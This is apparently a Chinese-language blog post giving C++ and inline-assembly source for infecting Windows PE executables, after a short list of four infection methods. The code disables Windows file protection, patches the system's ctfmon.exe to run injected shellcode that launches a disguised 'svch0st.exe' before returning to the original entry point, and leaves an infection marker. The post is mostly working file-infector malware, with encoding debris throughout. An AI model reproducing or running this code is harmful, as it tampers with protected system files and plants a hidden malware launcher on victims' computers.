PE文件的感染C++源代碼
PE文件規定了可執行文件的格式,凡是符合此格式的文件都能在windows系統上運行。PE文件的格式暫且不談,說一些感染PE文件的幾種途徑。
導入表感染。這個涉及比較復雜的操作,首先,要自行寫一個dll文件,提供程序中對原dll引用的所有函數,然后增加一個節區,修改ImportAddress中的地址,使其指向新增加的節,這樣,程序加載后,只要調用相關函數,就會先執行自己寫的dll,執行完后,再跳轉到原代碼人口處執行。
導入地址感染。這個相對簡單些,在PE文件頭部分,IMAGE_OPTION_HEADER中有個ImportAddress目錄,這個目錄中只是一些jmp指令,我們可以修改jmp指令跳轉的地址,使其指向在PE文件中我們新增加的代碼。這需要在原PE文件中增加代碼,PE文件在硬盤上默認200H字節對齊,一般存有空隙,如果代碼量小,不用增加新節就可以插入代碼。
修改入口函數地址。這個是最省事的辦法,在原PE文件中新增加一個節,計算新節的RVA,然后修改入口代碼,使其指向新增加的節。當然,如果.text節空隙足夠大的話,不用添加新節也可以。
修改快捷方式文件。如果PE文件存在快捷方式,可以先行感染快捷方式,使快捷方式指向自己寫的程序,自寫程序啟動后,再執行真正的PE文件。這種做法比較猥瑣,而且不可靠。
?
?
#include <stdio.h>
#include<windows.h>
#include<TCHAR.h>
#include <shlwapi.h>
typedef DWORD WINAPI SfcFileException(DWORD dwUnknown0, PWCHAR pwszFile, DWORD dwUnknown1);
void KillSFC()
{
??? WCHAR drvpath[MAX_PATH]={0};
???
??? GetSystemDirectoryW(drvpath,sizeof(drvpath));
??? wcscat(drvpath,L"\\ctfmon.exe");
??? HMODULE hModule = LoadLibraryA("SFC.DLL");
??? SfcFileException *SfcFileExc = (SfcFileException (__stdcall *))GetProcAddress(hModule,(LPCSTR)5);
??? SfcFileExc(0,drvpath,-1);
? FreeLibrary(hModule);
??? return;
}
?
int InjectPE()
{
? IMAGE_NT_HEADERS ntHeader;
? IMAGE_SECTION_HEADER SecInject;
? FILE* pFile;
? char systemPath[MAX_PATH];
? GetSystemDirectoryA(systemPath,sizeof(systemPath));
? char szFileName[MAX_PATH] = "\\ctfmon.exe";
? strcat(systemPath,szFileName);
? strcpy(szFileName,systemPath);
?
? KillSFC();
?
? if((pFile=fopen(szFileName,"rb+"))==NULL)//打開文件失敗則退出
? {
??? printf("打開文件失敗\n");
??? return 0;
? }
?
? fseek(pFile,0x3c,0);
? DWORD pNT;
? fread(&pNT,sizeof(DWORD),1,pFile);
? fseek(pFile,pNT,SEEK_SET);
? fread(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile); //讀取NT頭
?
?
? //保存舊入口地址
? int sectionNum = ntHeader.FileHeader.NumberOfSections;
? int OldEntryPoint = ntHeader.OptionalHeader.AddressOfEntryPoint;
?
? goto shellend;
__asm
{
??? shell:? PUSHAD
??? MOV? EAX,DWORD PTR FS:[30H]? ;FS:[30H]指向PEB
??? MOV? EAX,DWORD PTR [EAX+0CH]? ;獲取PEB_LDR_DATA結構的指針
??? MOV? EAX,DWORD PTR [EAX+1CH] ;獲取LDR_MODULE鏈表表首結點的inInitializeOrderModuleList成員的指針
??? MOV? EAX,DWORD PTR [EAX]? ;LDR_MODULE鏈表第二個結點的inInitializeOrderModuleList成員的指針
??? MOV? EAX,DWORD PTR [EAX+08H]? ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模塊基址
??? MOV? EBP,EAX??? ;? 將Kernel32.dll模塊基址地址放至kernel中
??? MOV? EAX,DWORD PTR [EAX+3CH]? ;指向IMAGE_NT_HEADERS
??? MOV? EAX,DWORD PTR [EBP+EAX+120]? ;指向導出表
??? MOV? ECX,[EBP+EAX+24]? ;取導出表中導出函數名字的數目
??? MOV? EBX,[EBP+EAX+32]??? ;取導出表中名字表的地址
??? ADD? EBX,EBP
??? PUSH WORD? PTR 0X00????? ;構造GetProcAddress字符串
??? PUSH DWORD PTR 0X73736572
??? PUSH DWORD PTR 0X64644163
??? PUSH DWORD PTR 0X6F725074
??? PUSH WORD PTR 0X6547
??? MOV? EDX,ESP
??? PUSH ECX
???
F1:?
??? MOV? EDI,EDX
??? POP? ECX
??? DEC? ECX
??? TEST? ECX,ECX
??? JZ? EXIT
??? MOV? ESI,[EBX+ECX*4]???
??? ADD? ESI,EBP
??? PUSH? ECX
??? MOV? ECX,15
??? REPZ? CMPSB
??? TEST? ECX,ECX
??? JNZ? F1
?
??? POP? ECX
??? MOV? ESI,[EBP+EAX+36]? ;取得導出表中序號表的地址
??? ADD? ESI,EBP
??? MOVZX? ESI,WORD PTR[ESI+ECX*2]??? ;取得進入函數地址表的序號
??? MOV? EDI,[EBP+EAX+28]? ;取得函數地址表的地址
??? ADD? EDI,EBP
??? MOV? EDI,[EDI+ESI*4]??? ;取得GetProcAddress函數的地址
??? ADD? EDI,EBP?????
??? PUSH WORD PTR 0X00?????????????
??? PUSH DWORD PTR 0X636578? ;構造WinExec字符串
??? PUSH DWORD PTR 0X456E6957
??? PUSH ESP
??? PUSH? EBP????? ;
??? CALL? EDI????? ;調用GetProcAddress取得WinExec函數的地址
???
???
??? XOR???? EBX,EBX
??? PUSH??? EBX
??? PUSH? WORD PTR 0X00??? ;構造svch0st.exe符串.
??? PUSH? DWORD PTR 0X455845?
??? PUSH??? DWORD PTR 0X2E545330
??? PUSH? DWORD PTR 0X48435653
??? PUSH? ESP
??? CALL? EAX
EXIT:? ADD ESP,40????? ;平衡堆棧
??? POPAD
}
? shellend:
??? char *pShell;
??? int nShellLen;
???
__asm
{
??? LEA EAX,shell
??? MOV pShell,EAX;
??? LEA EBX,shellend
??? SUB EBX,EAX
??? MOV nShellLen,EBX
}
?
int i;
?
for(i=0;i<sectionNum;i++)
? {
?? fseek(pFile,pNT+248+i*40,SEEK_SET);? //定位到節表開始處
?? fread(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile);
?? DWORD pInfect = SecInject.PointerToRawData + SecInject.Misc.VirtualSize+5;
?? WORD Sign;
?? fseek(pFile,pInfect,SEEK_SET);
?? fread(&Sign,sizeof(WORD),1,pFile);
?? if(Sign == 0x1122)? //已經感染過,結束程序.
?? {
???? //MessageBoxA(NULL,"已感染過","msg",MB_OK);
???? return 0;
?? }
?? if((int)(SecInject.SizeOfRawData-SecInject.Misc.VirtualSize)>nShellLen)
??? break;
? }
?
if(i>=sectionNum)
{
? printf("找不到適合插入的節");
? return 0;
}
? DWORD lpCodeRVA = SecInject.VirtualAddress + SecInject.Misc.VirtualSize;??
? DWORD lpCodeOffs = SecInject.PointerToRawData + SecInject.Misc.VirtualSize; //添加代碼的文件偏移
? /*修改入口點地址并寫回NT HEADER中*/
? ntHeader.OptionalHeader.AddressOfEntryPoint = lpCodeRVA;?
? fseek(pFile,pNT,SEEK_SET);
? fwrite(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile);
? SecInject.Characteristics = SecInject.Characteristics|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_EXECUTE; //節屬性改成可讀、可執行
? SecInject.Misc.VirtualSize += nShellLen;
? fseek(pFile,pNT+248+i*40,SEEK_SET);? //文件指針移動到SecInject的首址
? fwrite(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile); //將修改后的節信息寫回文件中
? /*寫入SHELLCODE*/
? fseek(pFile,lpCodeOffs,SEEK_SET);? //定位到添加代碼的文件偏移
? for(i=0;i<nShellLen;i++)
? fputc(pShell[i],pFile);
? //SHELLCODE之后是跳轉到原OEP的指令
?????
? BYTE jmp = 0xE9;
? OldEntryPoint = OldEntryPoint-(lpCodeRVA+nShellLen)-5;
? fwrite(&jmp, sizeof(jmp), 1, pFile);
? fwrite(&OldEntryPoint, sizeof(OldEntryPoint), 1, pFile);
? WORD InfectSign=0x1122; // 感染標志
? fwrite(&InfectSign,sizeof(WORD),1,pFile);
? fclose(pFile);
? //MessageBoxA(NULL,"注入成功","INFO",MB_OK);
? return 0;
}